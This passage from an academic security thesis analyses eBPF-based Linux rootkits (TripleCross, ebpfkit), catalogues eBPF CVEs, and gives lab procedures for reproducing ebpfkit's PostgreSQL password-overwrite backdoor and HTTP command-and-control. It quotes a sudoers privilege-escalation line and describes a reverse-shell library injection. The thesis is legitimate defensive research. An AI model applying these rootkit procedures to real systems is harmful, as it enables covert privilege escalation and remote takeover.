The sys_read system call is then called, which has among its arguments

the address of the buffer where the bytes read from the file will be stored.

The tracing program at the entry of the call verifies the PID of the

process to ensure that the open file matches /etc/sudoers, and then

stores the address of the buffer where the syscall will write the read

content in the eBPF map.

3. Tracepoint at the exit point of sys_read

At the end of the read operation, before the syscall returns, the eBPF

program uses the data collected in the map to reach and overwrite the

data in the buffer containing the bytes read. The string inserted at

this stage can vary depending on the desired permissions, but the most

permissive example might be: “attacker_user ALL=(ALL) NOPASSWD:

ALL”, which will allow the attacker_user to execute any command with

root privileges without entering a password. Before the syscall restores

control to the process, the buffer is already overwritten. Thus, the sudo
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process directly receives the altered data as though they originated from

the /etc/sudoers file.

It is worth noting that the effectiveness of this attack does not depend on

whether the user invoking the sudo command is already referenced in the

/etc/sudoers file or not, as it is sufficient to trigger the opening and reading

of the file to achieve the desired result.

• Module for Execution Hijacking:

This module allows the normal execution flow of a process to be diverted

undetected by executing malicious code instead of the program called by the

user. The approach involves modifying the data passed to the kernel during

system calls (function arguments or return values), making use of a mechanism

similar to the one drawn in Section 4.3.

• Module for Command & Control:

This module enables the implementation of a backdoor that allows the at-

tacker to control the compromised system even remotely. It leverages the

ability of XDP programs to intercept incoming packets and TC programs to

modify outgoing packets to be able to communicate with the infected system

without being detected. An example of this use was discussed in the Section

4.2.

• Module for Library Injection: The goal of this module is to inject a

malicious library into the memory space of a target process without directly

modifying the binary code, in order to alter its behavior. This is achieved

by manipulating the Global Offset Table (GOT) of the target process. The

GOT is a data structure used in compiled programs to manage the addresses

of functions and global variables that reside in dynamic libraries. Whenever

a program calls an external function (e.g., from a library), the first operation

is to look up the corresponding address in the GOT. So, by modifying its

pointers, the attacker can redirect legitimate function calls to malicious code.

The injected library establishes a reverse shell to connect back to the attacker’s

machine and subsequently restores the normal execution flow to the original

function, ensuring that the process continues to run without any crashes. The
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mechanism relies on different tracing programs to identify the GOT addresses

to be modified (by monitoring specific functions) and then overwrites the

values using the bpf_probe_write_user function.

It should be noted that this type of attack cannot be applied universally,

but only to systems where the GOT table is writable. Additionally, minor

adjustments may be required depending on the compiler’s features.

The Table 4.2 provides a summary of the basic configurations of the system on

which the rootkit was tested. In the next chapter, the testing of this rootkit also

in other configurations will be explored in more detail.

Attacker Victim

Operating System GNU/Linux GNU/Linux

Distribution Ubuntu 18.04 Ubuntu 21.04

Kernel version Linux 5.4.0 Linux 5.11.0

Table 4.2: System Configuration used in TripleCross rootkit

4.5.3 Ebpfkit rootkit

eBPFKit, developed by Guillaume Fournier [29], is the first publicly available

rootkit fully implemented using eBPF and serves as an important Proof of Concept

(PoC) for demonstrating the potential misuse of eBPF technology. Its innovative

techniques have inspired subsequent tools, including the previously discussed Triple-

Cross rootkit. Additionally, many of the attacks facilitated by eBPFKit overlap

with those examined in the context of TripleCross and in the classification of at-

tack surfaces, either replicating them directly or differing only slightly in approach.

As a result, its primary features are outlined below to provide a comprehensive

overview, without delving into further detail, as they have already been extensively

analyzed in prior sections:

• Injecting commands into the infected machine and exfiltrating data from it via

HTTP, utilizing XDP and TC programs to take control of the network-level
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behavior;

• Concealing its presence on the system by obfuscating its malicious activities.

This is achieved by overwriting log messages sent to the kernel, effectively

erasing traces of its operations;

• Gathering a detailed overview of the network to which the infected machine

is connected, providing attackers with critical information to facilitate further

exploitation.

Similarly to what was discussed for TripleCross, in this case as well, the attacker

requires access to the victim system with a privileged user account, even if only

temporarily to install the necessary components. This is because the attack relies

on the CAP_SYS_ADMIN capability. The system configurations on which the rootkit

is tested are summarized in Table 4.3.

Attacker Victim

Operating System Linux Linux

Distribution Ubuntu 20.04 Ubuntu 20.04

Kernel version Linux 5.4.0 Linux 5.4.0

Table 4.3: System Configuration used in Ebpfkit rootkit

4.5.4 Additional Works

For the sake of completeness, it is important to mention also the rootkits Boopkit

[30] and Symbiote [31], along with the malware BPFDoor [32]. These projects

leverage the capabilities of eBPF in a limited or partial manner, often incorporating

only specific malicious functionalities or employing filters based on cBPF. While

they represent relevant examples in the context of eBPF-based threats, a detailed

discussion of these cases would not substantially enhance the insights or findings

already covered in the present analysis.
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Experimental Analysis

This chapter outlines the tests conducted to evaluate the practical exploitability

of the attack techniques previously analyzed. Specifically, the rootkits presented

in Chapter 4 and malicious code examples available online were tested to assess

their ability to leverage eBPF offensive capabilities. The tests were carried out

on different versions of the Linux kernel and system configurations to identify the

environments where these attacks are effective and reproducible. This approach

allowed for an exploration of not only the effectiveness of the attacks but also their

dependence on specific kernel versions and system setups.

All the evaluation were conducted on a computer with an x86_64 architecture,

utilizing the Oracle VirtualBox software to enable the virtualization of the used en-

vironments. This setup allowed for the execution and replication of the tests across

various configurations, ensuring a controlled and reproducible testing framework.

5.1 Testing ebpfkit

As presented in Chapter 4, ebpfkit [29] is a rootkit based on eBPF technology.

To test its functionality, two virtual machines were configured: one used as the

victim machine and the other as the attacker. Both machines were configured in

“Bridged Adapter” mode, which allows them to simulate a direct connection to the

same physical network as the host, obtaining an IP address within the LAN. This

configuration enables the two machines to communicate as if they were physically

connected to each other.
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The rootkit was successfully installed on several versions of Ubuntu 20.04 (Ubuntu

20.04, Ubuntu 20.04.1, and Ubuntu 20.04.6), while compatibility issues were en-

countered with later distributions. The versions on which it has been successfully

tested are:

• 5.4.0-26-generic

• 5.8.0-53-generic

• 5.6.9-050609-generic

• 5.10.0-051000-generic

Tests conducted on version 5.5.0-050500-generic revealed unstable behavior, while

for versions 5.13.0-21-generic and later, it was demonstrated that code compatibility

is no longer guaranteed.

Table 5.1 summarizes the attacks successfully reproduced on the compatible kernel

versions and the results obtained. A complete and detailed report on the entire

procedure is available in the Appendix B, providing all the information on the

steps performed and the outcomes.

Attack Outcome

Persistence Access (Postgres password overwrite) Completed successfully

Command & Control (Postgres password overwrite via HTTP) Completed successfully

Network data extraction Completed successfully

Postgres data extraction Completed successfully

Data extraction from /etc/hosts Completed successfully

Program Obfuscation Completed successfully

Command & Control (Postgres password overwrite via HTTP from remote) Request completed, but with no effect

Network data extraction from remote Result unreliable

Remote Postgres data extraction HTTP request remains pending

Remote data extraction from /etc/hosts Result unreliable

Table 5.1: Summary of ebpfkit attacks tested and their outcomes
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5.2 Testing bad-bpf

The repository bad-bpf [33], developed by Path Hogan, provides code examples

designed to demonstrate potential malicious uses of eBPF technology. For testing

purposes, a single virtual machine was instantiated, on which the repository was

cloned. By exploiting the programs available in the repository, it was possible to

perform three types of attacks:

• Privilege Escalation Attack: the attacker gains sudo access without needing to

input a password. However, this attack has proven to be not always effective.

In its current implementation, the passwordless privilege is granted only for

certain commands, such as sudo -l.

• DoS Attack: the attacker succeeds in terminating any process that makes use

of the syscall ptrace.

• Process Hiding Attack: the attacker hides a specific process from the system,

given its process ID.

These attacks were successfully reproduced on both Ubuntu 20.04 and Ubuntu

22.04, using the following kernel versions:

• 5.15.0-97-generic

• 5.19.0-46-generic

• 6.2.0-33-generic

• 6.5.0-45-generic

• 6.8.0-40-generic

All tests conducted using Linux kernel versions earlier than those mentioned and

on Ubuntu 21.04 were unsuccessful. More details about this issue and the entire

procedure followed can be found in Appendix C.

5.3 Testing Triple-Cross

TripleCross [28] is a rootkit developed by Marcos Sánchez Bajo, introduced

in Chapter 4. To verify its functionality, the same setup used for ebpfkit was
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Attack Outcome

Privilege Escalation Completed successfully

Execution Hijacking of sys_timerfd_settime via library injection Completed successfully

Execution Hijacking of sys_openat via library injection Completed successfully

C2 Attack: spawn of a pseudo-shell Completed successfully

C2 Attack: spawn of a phantom-shell Completed successfully

C2 Attack: attach/detach of eBPF programs Completed successfully

Execution Hijacking Attack by manipulating sys_execve Partially Succeed - unstable result

Table 5.2: Summary of TripleCross attacks tested and their outcomes

adopted: two virtual machines, one used as the victim machine where the rootkit

was installed, and the other as the attacker machine, where only the rootkit’s client

was installed. Both machines were configured in "Bridged Adapter" mode. In this

setup, the attacker machine was used solely to execute client commands and did

not require full support for the rootkit’s functionalities. Therefore, the distribution

or kernel version on the attacker machine was not critical. The only essential

requirements for the attacks were the ability to clone and install the repository

containing the client and to use Netcat to listen on a specific port. For all test cases,

the attacker machine was consistently configured with an Ubuntu 20.04 virtual

machine running Linux kernel version 5.4.0-94-generic.

Table 5.2 summarizes the attacks that were reproduced and their outcomes. The

tests were replicated with the same results on Ubuntu 21.04 using the following

Linux kernel versions:

• 5.8.5-050805-generic

• 5.10.5-051005-generic

• 5.11.0-16-generic

• 5.12.5-051205-generic

All tests conducted on later kernel versions, such as 5.14.5-051405-generic, 5.15.10-

051405-generic, and newer, were unsuccessful, revealing issues during the attach-

ment phase of tc programs. Similarly, tests performed on other Linux distributions,
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including Ubuntu 20.04 and Ubuntu 22.04, also failed. A detailed report on the

entire procedure and the challenges encountered can be found in the Appendix D.
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Conclusions

This thesis aims to provide a comprehensive overview of the offensive potential

of the eBPF technology. At an early stage, the work has focused on an in-depth

analysis of the vulnerabilities documented by major databases, distinguishing their

causes, effects, and the eBPF components involved. This approach allowed to

clearly delineate the risks to which the system might be exposed and, more impor-

tantly, to identify the responsible components, highlighting the most critical points

of the eBPF subsystem. In particular, the study revealed that is the verifier, due

to its increasing complexity, to represent the most critical component, which was

found to be more prone to bugs and thus to vulnerabilities that could be exploited

by a possible attacker.

Another key part of the research involved a detailed classification of eBPF attack

surfaces and analysis of how these can be exploited. It was shown how programs

considered safe by the eBPF verifier can, in reality, be turned into offensive tools

if used for malicious purposes. For instance, network programs XDP and TC, al-

low traffic to be manipulated also without the kernel’s knowledge, dropping packets,

modifying their contents or redirecting them. Tracing programs, on the other hand,

can gain read and write access to unauthorized memory areas, exposing the system

to risks such as memory corruption, program hijacking, library injection and con-

tainer escape. Additionally, whether by exploiting network or tracing programs, or

even by simply accessing maps, eBPF can also retrieve sensitive information from

monitored data, further compromising system security. The exploitation of these

attack surfaces in complex scenarios, however, is always subject to privilege con-
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trol. The work also mapped the type of privilege required to exploit each attack

surface, providing a clear reference for understanding the specific risks based on the

privileges granted.

Finally, an experimental phase allowed for the practical verification of some of

the analyzed attacks in a controlled environment, identifying, where possible, the

vulnerable versions of the Linux kernel. These tests confirmed the severity of the

threats and highlighted the importance of a conscious risk management approach

when using eBPF.

This research is intended to serve as a clear and comprehensive baseline for un-

derstanding the security risks associated with eBPF, not to discourage its use, but

rather to promote greater awareness. In a context where eBPF is enabled, for ex-

ample, adopting a "least privilege" approach is essential, minimizing the privileges

granted to users to reduce the risk of abuse. So, as eBPF continues to evolve and

become an increasingly central tool for many applications, it is crucial that its ad-

vanced capabilities do not do not turn into a double-edged sword. Understanding

its vulnerabilities is, therefore, a solid starting point for developing mitigation and

protection measures, which are vital for the safe and responsible use of this tech-

nology.

Finally, a possible extension of the present work could involve a deeper analysis

of the privilege required, not only for the attack surfaces, but also for each of the

vulnerabilities analyzed, providing an even more precise understanding of the ac-

cess level needed to exploit the technology. In addition, it might be interesting to

extend the scope of this research to include the eBPF ecosystem in environments

beyond Linux, such as Windows. Although this work has focused exclusively on

Linux, it is known that eBPF is beginning to be adopted in other platforms as well,

as evidenced by recent efforts to integrate it into Windows. Exploring eBPF imple-

mentations in these contexts, their associated vulnerabilities, and their differences

compared to Linux could represent a significant step forward in understanding the

potential and risks of this technology.
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CVE Classification

The following table presents an excerpt from the analysis conducted on eBPF-

related CVEs from 2020 to 2024. All details regarding the provided classification

are available in Chapter 3.

CVE ID Type Category Security Risks

CVE-2020-

8835

ALU Range

Tracking Error

Verifier

• Allows unauthorized disclosure

of information

• Allows unauthorized modifica-

tion

• Allows disruption of service

• Allows privilege escalation

CVE-2020-

27194

ALU Range

Tracking Error

Verifier

• Allows disruption of service

CVE-2020-

27171

Improper input

validation

(off-by-one

error)

Verifier

• Allows unauthorized disclosure

of information

• Allows disruption of service
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CVE ID Type Category Security Risks

CVE-2020-

27170

Improper input

validation

Verifier

• Allows unauthorized disclosure

of information

CVE-2021-

20320

Input validation

error

JIT

• Allows unauthorized disclosure

of information

CVE-2021-

20268

Out-of-bounds

access

Other

• Allows unauthorized disclosure

of information

• Allows unauthorized modifica-

tion

• Allows disruption of service

• Allows privilege escalation

CVE-2021-

3444

ALU Incorrect

Truncation

Verifier

• Allows unauthorized disclosure

of information

• Allows unauthorized modifica-

tion

• Allows disruption of service
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CVE ID Type Category Security Risks

CVE-2021-

29154

Incorrect

computation of

branch

displacement

JIT

• Allows unauthorized disclosure

of information

• Allows unauthorized modifica-

tion

• Allows disruption of service

• Allows privilege escalation

CVE-2021-

29155

ALU Range

Tracking Error

Verifier

• Allows unauthorized disclosure

of information

CVE-2021-

29648

Improper

initialization

Core

• Allows disruption of service

CVE-2021-

3490

ALU Range

Tracking Error

Verifier

• Allows unauthorized disclosure

of information

• Allows unauthorized modifica-

tion

• Allows disruption of service

• Allows privilege escalation

CVE-2021-

3489

Improper

memory

allocation

Other

• Allows unauthorized disclosure

of information

• Allows unauthorized modifica-

tion

• Allows disruption of service
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CVE ID Type Category Security Risks

CVE-2021-

31440

Improper Input

Validation

Verifier

• Allows unauthorized disclosure

of information

• Allows unauthorized modifica-

tion

• Allows disruption of service

• Allows privilege escalation

CVE-2021-

31829

Memory leakage Verifier

• Allows unauthorized disclosure

of information

CVE-2021-

33200

ALU Range

Tracking Error

Verifier

• Allows unauthorized disclosure

of information

• Allows unauthorized modifica-

tion

• Allows disruption of service

• Allows privilege escalation

CVE-2021-

33624

Branch

misprediction

Verifier

• Allows unauthorized disclosure

of information

CVE-2021-

34556

Kernel Memory

Leakage

Verifier

• Allows unauthorized disclosure

of information
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CVE ID Type Category Security Risks

CVE-2021-

3600

ALU Range

Tracking Error

Verifier

• Allows execution of arbitrary

code

• Allows disruption of service

CVE-2021-

34866

Improper Input

Validation

Verifier

• Allows unauthorized disclosure

of information

• Allows unauthorized modifica-

tion

• Allows disruption of service

• Allows privilege escalation

CVE-2021-

35477

Kernel Memory

Leakage

JIT

• Allows unauthorized disclosure

of information

CVE-2021-

38166

Integer

Overflow

Other

• Allows unauthorized disclosure

of information

• Allows unauthorized modifica-

tion

• Allows disruption of service

CVE-2021-

39711

Out-of-bound

Read

Other

• Allows unauthorized disclosure

of information
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CVE ID Type Category Security Risks

CVE-2021-

41864

Out-of-bounds

access

Other

• Allows unauthorized disclosure

of information

• Allows unauthorized modifica-

tion

• Allows disruption of service

• Allows privilege escalation

CVE-2021-

4001

Improper

memory access

Core

• Allows unauthorized modifica-

tion

• Allows privilege escalation

CVE-2021-

4135

Memory leakage Other

• Allows unauthorized disclosure

of information

CVE-2021-

45402

ALU Incorrect

bounds update

Verifier

• Allows unauthorized disclosure

of information

CVE-2021-

4159

Memory leakage Verifier

• Allows unauthorized disclosure

of information
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CVE ID Type Category Security Risks

CVE-2021-

4204

Improper Input

Validation

Verifier

• Allows unauthorized disclosure

of information

• Allows disruption of service

• Allows privilege escalation

CVE-2022-

0264

Kernel Address

Leakage

Verifier

• Allows unauthorized disclosure

of information

CVE-2022-

0433

NULL Pointer

dereference

Other

• Allows disruption of service

CVE-2022-

23222

ALU Range

Tracking Error

Verifier

• Allows privilege escalation

CVE-2022-

0500

Improper

memory access

Helper

• Allows privilege escalation

• Allows disruption of service

CVE-2022-

2785

Improper

arguments check

Core

• Allows unauthorized disclosure

of information

CVE-2022-

2905

Out-of-bound

Read

Verifier

• Allows unauthorized disclosure

of information
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CVE ID Type Category Security Risks

CVE-2023-

2163

Out-of-bound

Write

Verifier

• Allows unauthorized modifica-

tion

• Allows privilege escalation

CVE-2023-

39191

Improper Input

Validation

Verifier

• Allows unauthorized modifica-

tion

• Allows privilege escalation

CVE-2024-

26885

Buffer overflow Other

• Allows privilege escalation

CVE-2024-

26884

Buffer overflow Other

• Allows privilege escalation

CVE-2024-

26883

Buffer overflow Other

• Allows privilege escalation

• Allows undefined behaviour

CVE-2024-

26737

Race condition

between helpers

Helper

• Allows privilege escalation

CVE-2024-

26591

NULL Pointer

dereference

Core

• Allows disruption of service
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CVE ID Type Category Security Risks

CVE-2024-

26589

Out-of-bound

Access

Verifier

• Allows unauthorized disclosure

of information

CVE-2023-

52462

Boundary error Verifier

• Allows unauthorized disclosure

of information

• Allows disruption of service

CVE-2023-

52452

Improper

initialization

Verifier

• Allows privilege escalation

CVE-2023-

52447

Use-after-free

error

Core

• Allows privilege escalation

CVE-2023-

52446

Use-after-free

error

Core

• Allows privilege escalation

CVE-2021-

46908

Improper

privilege

management

Verifier

• Allows disruption of service

CVE-2021-

46974

Logic error Verifier

• Allows disruption of service

CVE-2021-

47128

Improper

locking

Helper

• Allows disruption of service
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CVE ID Type Category Security Risks

CVE-2023-

52621

Lock assertion

needed

Helper

• Allows disruption of service

CVE-2023-

52676

Integer

Overflow

Verifier

• Allows unauthorized modifica-

tion

• Allows disruption of service

CVE-2024-

35917

NULL Pointer

dereference

JIT

• Allows disruption of service

CVE-2024-

35905

Out-of-bound

Read

Verifier

• Allows disruption of service

CVE-2024-

35903

Input validation

error

JIT

• Allows disruption of service

CVE-2024-

35895

Improper

locking

Other

• Allows disruption of service

CVE-2024-

35860

Incorrect

calculation

Core

• Allows disruption of service

CVE-2023-

52828

Buffer overflow Core

• Allows unauthorized modifica-

tion

• Allows disruption of service
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CVE ID Type Category Security Risks

CVE-2023-

52735

Memory leak Other

• Allows disruption of service

CVE-2021-

47426

Memory leak JIT

• Allows disruption of service

CVE-2021-

47376

Memory

corruption

Verifier

• Allows disruption of service

CVE-2021-

47317

Improper

locking

JIT

• Allows unauthorized modifica-

tion

• Allows disruption of service

CVE-2021-

47303

Use-after-free

memory

Other

• Allows privilege escalation

CVE-2021-

47300

Missing check,

use-after-free

error

Verifier

• Allows privilege escalation

CVE-2021-

47486

Potential NULL

reference

JIT

• Allows disruption of service

CVE-2021-

47608

Kernel address

leakage

Verifier

• Allows disruption of service

CVE-2021-

47607

Kernel address

leakage

Verifier

• Allows disruption of service
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CVE ID Type Category Security Risks

CVE-2024-

36937

NULL Pointer

dereference

Core

• Allows disruption of service

CVE-2024-

36918

Input validation

error

Other

• Allows disruption of service

CVE-2024-

38566

NULL Pointer

dereference

Verifier

• Allows disruption of service

CVE-2024-

38564

Improper checks Core

• Allows unauthorized disclosure

of information

CVE-2022-

48770

Resource

management

error

Other

• Allows disruption of service

CVE-2022-

48714

Out-of-bound

Read

Other

• Allows disruption of service

CVE-2024-

38662

Improper

locking

Verifier

• Allows disruption of service

CVE-2022-

42150

Insecure

permissions

Other

• Allows container escape

• Allows execution of unautho-

rized actions

Table A.1: CVE vulnerabilities related to eBPF and their classification
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Category "Other"

As anticipated in Chapter 3, the "Other" category includes all vulnerabilities

associated with eBPF add-ons or components that enable advanced functionalities,

which are not essential for the core operation of eBPF. Specifically, the vulnerabil-

ities in this category are related to the following modules:

• hashtab.c: Module responsible for implementing hash tables used within

eBPF.

• stackmap.c: Module that manages stack maps for eBPF. Stack maps are

used to store information about function calls during the execution of a BPF

program.

• bloom_filter.c: Module that implements a Bloom filter within the Linux

kernel for the BPF subsystem. A Bloom filter is a probabilistic data structure

that enables fast checks to determine if an element is part of a set, allowing

for a small probability of false positives but guaranteeing no false negatives.

• ringbuf.c: Module that implements ring buffer management in the Linux

kernel BPF subsystem.

• sock_map.c: Module that implements sockmap and sockhash, advanced

eBPF structures that allow to manage and manipulate network sockets.

• devmap.c: Module used to manage device maps, enabling XDP programs to

redirect packets to specific network interfaces or devices.

• test_run.c: Module responsible for managing test runs for eBPF programs.
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Test performed on ebpfkit

This section provides a detailed report of the tests performed using the reposi-

tory "ebpfkit" [29], developed by Guillaume Fournier.

Setup VM

Required Tools and Software What was used:

• Computing device equipped with an Intel Core i5 processor (x86_64);

• Oracle VirtualBox for virtualization purposes;

• ISO: ubuntu-20.04-desktop-amd64.iso.

Each created VM was allocated 9GB of base memory and 4 processors.

Procedure VM Setup Procedure:

1. Verify that the account being used is equipped with sudo permissions. If not,

grant them with:

1 su -

2 usermod -aG sudo <user_name >

3

4 # to restart the system

5 reboot

Replace <username> with the actual username of the account.

Once the system has completed its reboot, execute a command requiring
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elevated privileges to verify that the sudo permissions have been successfully

granted.

1 sudo ls /root

2. Install kernel version 5.4:

2 sudo apt install linux -image -5.4.0 -26 - generic linux -

headers -5.4.0 -26 - generic

3 sudo grub -mkconfig | grep -iE "menuentry ’Ubuntu , with

Linux" | awk ’{print i++ " : "$1 , $2 , $3, $4, $5 , $6}’

Figure B.1: Output of grub-mkconfig

Based on the output of the previous command, update the GRUB_DEFAULT

value in the /etc/default/grub file to match the entry corresponding to

the desired kernel version. As shown in the Figure B.1, for this test, the

appropriate value is 4. Therefore, the GRUB_DEFAULT entry should be modified

to "1>4".

1 sudo nano /etc/default/grub

2 # Modify then the line GRUB_DEFAULT =0 in GRUB_DEFAULT

="1 >4"

3 sudo update -grub

4 sudo systemctl reboot

To verify the installed version following the system reboot:
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1 uname -r

3. Install Go version 1.17 (or later):

2 sudo rm -rf /usr/local/go

3 wget -4 https ://go.dev/dl/go1 .17. linux -amd64.tar.gz

4 sudo tar -C /usr/local -xzf go1 .17. linux -amd64.tar.gz

5

6 # set the appropriate PATH to enable the system to locate

the Go executable using the go command

7 export PATH=$PATH:/usr/local/go/bin

8 export GOPATH=$HOME/go

9

10 # check the installed version

11 go version

4. Install clang and llvm version 11.0.1:

8 wget -4 https :// apt.llvm.org/llvm -snapshot.gpg.key

9 sudo apt -key add llvm -snapshot.gpg.key

10 sudo add -apt -repository "deb http :// apt.llvm.org/focal/

llvm -toolchain -focal -11 main" clan

11 sudo apt -get update

12

13 # check the installed version

14 clang -11 --version

15 llvm -config -11 --version

These commands create symbolic links to map the newly installed versions

of the clang and llc executables to their generic command names. This

ensures that when you invoke clang or llc from the command line, the system

automatically uses the specified versions (clang-11 and llc-11, respectively).

17 sudo ln -s /usr/bin/clang -11 /usr/bin/clang

18 sudo ln -s /usr/bin/llc -11 /usr/bin/llc

5. Install essential build tools:

19 sudo apt install build -essential
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6. Verify that the kernel headers are installed in the directory lib/modules/$(uname

-r). The following command checks their presence; if the directory exists, the

headers are already installed:

20 ls /lib/modules/$(uname -r)/build

If the headers are not installed, use the following command to install them:

21 sudo apt install linux -headers -$(uname -r)

7. From the virtual machine’s network settings in VirtualBox, set the network

adapter to "Bridged Adapter" mode. This configuration allows the virtual

machine to connect both to other VMs and to the host computer’s network.

An example of this setup is illustrated in the Figure B.2.

Figure B.2: Example of setting the network adapter to Bridged Mode in VirtualBox.

8. Install git and clone the ebpfkit repository:

22 sudo apt -get install git

23 git clone https :// github.com/Gui774ume/ebpfkit.git

Navigate to the folder containing the cloned repository, ensuring you are inside

the directory where the repository was downloaded. Once inside, run the

"make" command to build the project and "make install_client" to install

the client.
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9. To ensure compatibility with the rootkit code, load the required kernel mod-

ules by running the following commands. The sch_clsact module is neces-

sary to enable the Classifier Action framework, which allows attaching classi-

fiers and actions to network traffic. The cls_bpf module is required to utilize

eBPF programs as classifiers within the Traffic Control (TC) system, enabling

advanced manipulation and monitoring of network packets.

24 sudo modprobe sch_clsact

25 sudo modprobe cls_bpf

10. Create a new virtual machine to serve as the attacker by replicating the setup

steps just outlined (1-9). Note: if, instead of creating a new VM from scratch,

the previously configured VM is cloned, ensure that the cloned VM is assigned

a unique MAC address. This step is critical to prevent network conflicts

caused by duplicate MAC addresses.

Persistence Access Attack on Postgres

This attack leverages eBPF tracing programs to gain persistent access to the

PostgreSQL database. By manipulating the authentication process, the attacker

deceives the system by temporarily overwriting the password during its verification

process, without altering the one stored in the database. This allows the attacker

to maintain continuous and invisible access using a custom-defined password. In

the case of eBPFKit, the assigned password is "hello". When the rootkit is not

active, the original password will function correctly.

To replicate the described attack, it’s essential to have a PostgreSQL account for

the user. Therefore, the following steps (1-3) will also cover the setup procedure of

PostgreSQL, including installing the software, starting the service, and creating a

user account with the necessary privileges.

1. Installation and initialization of PostgreSQL:

1 sudo apt -get install postgresql postgresql -contrib

2 sudo systemctl start postgresql

3 sudo systemctl enable postgresql
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2. Access the system to create a new user named ’webapp’ with a defined pass-

word ’pwd’:

1 sudo -i -u postgres

2 psql

3 CREATE USER webapp WITH PASSWORD ’pwd’;

4 GRANT ALL PRIVILEGES ON DATABASE postgres TO webapp;

5 ALTER ROLE webapp WITH LOGIN;

3. After exiting the previous PostgreSQL session (command \q), proceed to

access the database using the newly created credentials:

1 PGPASSWORD=pwd psql -h 127.0.0.1 -U webapp postgres

Expected behavior: Successful access without any issues.

4. Now, open a new shell and start the rootkit:

1 cd ebpfkit

2 sudo ./bin/ebpfkit -e enp0s3 -i enp0s3

It is important to ensure that the specified network interface (enp0s3) is cor-

rect and active. This can be verified using the command: ip a.

5. Attempt to log in to PostgreSQL again using the previously created creden-

tials in the same shell used earlier or a new shell (it is important not to inter-

rupt the shell currently running the rootkit), then retry using the password

"hello":

1 PGPASSWORD=pwd psql -h 127.0.0.1 -U webapp postgres

1 PGPASSWORD=hello psql -h 127.0.0.1 -U webapp postgres

Figure B.3: Postgres authentication failure after rootkit activation

Attack succeeded: after starting the rootkit, PostgreSQL authentication fails

when attempting to log in using the account’s actual password chosen in step 2,

as shown in Figure B.3. However, retrying the login with the password "hello"
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Figure B.4: Successful Postgres authentication using the password overwritten by

the rootkit

which was set by the rootkit code, results in successful authentication (Figure B.4.

Disabling the rootkit restores normal behavior, allowing authentication with the

original password to work as expected.

Command & Control Attack

The goal of this attack is to send a command to the compromised host via

HTTP, leveraging eBPF’s network programs (XDP) to intercept the command and

its tracing programs to ensure its execution. Figure 4.2 illustrates its mechanics.

Specifically, the attacker seeks to overwrite the password associated with the spec-

ified PostgreSQL account. The password-overwriting mechanism is similar to the

previous attack, as it manipulates the verification process during the PostgreSQL

authentication phase.

To carry out this attack, a PostgreSQL account is required. Steps 1-2 in the previ-

ous section detail the setup process.

1. Start a web app that will function as an HTTP server to handle Com-

mand&Control (C2) requests. The code that implements a simple web app is

provided within the rootkit.

To launch the web app, navigate to the repository folder and execute:

1 cd ebpfkit

2 sudo ./bin/webapp

The command will set as default parameters ip = 0.0.0.0 (address on which

the web app listens) and port = 8000.

2. Open another shell and start the rootkit:
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1 sudo ./bin/ebpfkit -l debug

3. Next, use the client provided by the rootkit to send the desired command via

an HTTP request. It is important to execute this command from a new shell,

as the shells where the rootkit and web application are running must remain

active. The following command will overwrite the password of the ’webapp’

PostgreSQL user with ’newpwd’:

1 sudo ebpfkit -client -l debug postgres put --role webapp --

secret newpwd

The target is not specified, so the default for the rootkit code is used, which

is http://localhost:8000.

The client then receives a 200 OK response from the healthcheck route of the

webapp, confirming the command was successfully transmitted. Figure B.5

shows the received response.

Figure B.5: Web app response to ebpfkit-client

4. Attempt to access PostgreSQL using the previous password. Note that, since

the rootkit is currently active, the password is no longer the one chosen during

the user registration phase ("pwd") but the one overwritten by the rootkit

("hello"). Figure B.6 shows the output of the authentication.
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Figure B.6: Web app response to ebpfkit-client

Attack succeeded: as shows in Figure B.6, the PostgreSQL login is now successful

using the password specified in the command issued in step 3, demonstrating that

the rootkit successfully overwrote the password.

Command & Control Attack From a Remote VM

The previous attack will now be replicated using a remote machine.

1. Launch an additional virtual machine to serve as the attacker. Configure

it similarly to the initial setup by either repeating steps 1-9 from the "VM

Setup" section or cloning the already created VM, ensuring that both VMs

have different MAC Addresses. Hereafter, the originally created VM will be

referred to as the victim VM, while the newly created VM will be referred

to as the attacker VM.

2. The victim VM should maintain both the web application and eBPFKit run-

ning, as outlined in steps 1-2 of the previous section.

Attempt 1

3. On the attacker VM, use the ebpfkit-client to send the desired command to

the victim VM:

1 sudo ebpfkit -client -l debug --target http

://192.168.1.160:8000 postgres put --role webapp --

secret newpwd

where 192.168.1.160 is the IP Address of the victim VM (the information

can be retrieved using ip a command), and 8000 is the port on which the
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web app on the victim VM is exposed.

The aim of this command is to replicate the effect of the previous attack (i.e.

overwriting the Postgres password) from a remote machine.

Expected result: as in the previous attack, a 200 OK response from the web app

is expected, along with the execution of the command that performs the password

overwrite.

Actual result: The HTTP request sent by the attacker remains pending, as shown

in Figure B.7, without receiving a response from the web app on the victim VM.

Attack Failed: the attacker never receives a response from the web app con-

firming the command’s execution. Furthermore, attempting to access PostgreSQL

from the victim VM confirms that the command was never processed, as login is

still possible using the original rootkit’s password, "hello."

Figure B.7: The HTTP request sent by the attacker remains pending.

Attempt 2

Use of an intermediary tool to make the local server (the web application running

on the victim VM) accessible over the Internet. This tool acts as a bridge, exposing

the locally hosted web app to external clients by creating a public endpoint that

forwards traffic to the local server.

Tool used: ngrok (https://ngrok.com/)

3. Download, install, and configure ngrok on the victim VM:
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1 wget https ://bin.equinox.io/c/bNyj1mQVY4c/ngrok -v3-stable -

linux -amd64.tgz

2 tar -xvzf ngrok -v3 -stable -linux -amd64.tgz

3 sudo mv ngrok /usr/local/bin/

Enter the token (provided by ngrok after registration, available at https:

//dashboard.ngrok.com/get-started/your-authtoken).

1 ngrok config add -authtoken $YOUR_AUTHTOKEN

4. Ensure that both the rootkit and the web app are running on the victim VM,

then start ngrok on port 8000 to expose the web app (always on the victim

VM):

1 ngrok http 8000

ngrok will return an HTTP address where the web app is now exposed. This

address will be referred to as <http_ngrok> in the following step.

5. Use the address provided by ngrok as target in the command sent from ebpfkit-

client on the attacker’s VM:

1 sudo ebpfkit -client -l debug -target <http_ngrok >

postgres put -role webapp -secret newpwd

Expected result: as in the previous attack, a 200 OK response from the web app

is expected, along with the execution of the command that performs the password

overwrite.

Actual result: the attacker receives a 200 OK response, but the command is not

executed. Consequently, it remains possible to access PostgreSQL on the victim

VM using the previous password. Figure B.8 demonstrates the observed behavior.

Attack Failed.

Problem Diagnosis

To thoroughly analyze the reasons behind the failure of the previous test, the

following investigations were made:
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Figure B.8: The attacker receives 200 OK response as expected.

• Verification of the network connection between the web app running on the

victim VM and the attacker VM. It was observed that HTTP requests directed

